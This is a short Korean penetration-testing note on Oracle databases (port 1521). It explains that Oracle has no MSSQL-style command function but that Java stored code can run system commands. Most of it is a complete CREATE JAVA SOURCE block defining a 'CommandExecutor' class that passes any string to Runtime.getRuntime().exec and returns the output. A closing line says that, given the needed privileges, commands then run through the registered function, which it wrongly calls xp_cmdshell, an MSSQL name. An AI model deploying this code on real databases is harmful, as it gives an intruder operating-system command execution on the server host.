1521 - oracle
getRuntime
Oracle JVM은 Java 애플리케이션 및 코드를 실행할 수 있는 자바 가상 머신(Java Virtual Machine)의 종류입니다. MSSQL과 같이 직접적으로 시스템 명령 실행을 지원하는 함수는 없지만, 자바 코드를 이용하여 시스템 명령 실행이 가능합니다.
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CommandExecutor" AS
import java.io.*;
import java.nio.charset.StandardCharsets;
public class CommandExecutor {
private static final int MAX_OUTPUT_CHARS = 4000;
public static String run(String cmd) {
if (cmd == null || cmd.trim().isEmpty()) {
return "No command specified";
}
StringBuilder sb = new StringBuilder();
try {
Process proc = Runtime.getRuntime().exec(cmd);
try (BufferedReader outReader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
BufferedReader errReader = new BufferedReader(
new InputStreamReader(proc.getErrorStream(), StandardCharsets.UTF_8))) {
String line;
while ((line = outReader.readLine()) != null) {
if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
sb.append("\n...[output truncated]...");
break;
}
sb.append(line).append('\n');
}
while ((line = errReader.readLine()) != null) {
if (sb.length() + line.length() + 1 > MAX_OUTPUT_CHARS) {
sb.append("\n...[output truncated]...");
break;
}
sb.append(line).append('\n');
}
}
int exitCode = proc.waitFor();
sb.append("[exitCode=").append(exitCode).append(']');
return sb.toString();
} catch (Exception e) {
return "ERROR: " + e.getClass().getName() + ": " + e.getMessage();
}
}
}
/Java 소스 및 함수를 등록할 수 있는 권한이 있어서 성공적으로 등록했다면, 등록한 사용자 함수인 xp_cmdshell을 통해서 시스템 명령 실행이 가능합니다.
Demo

Last updated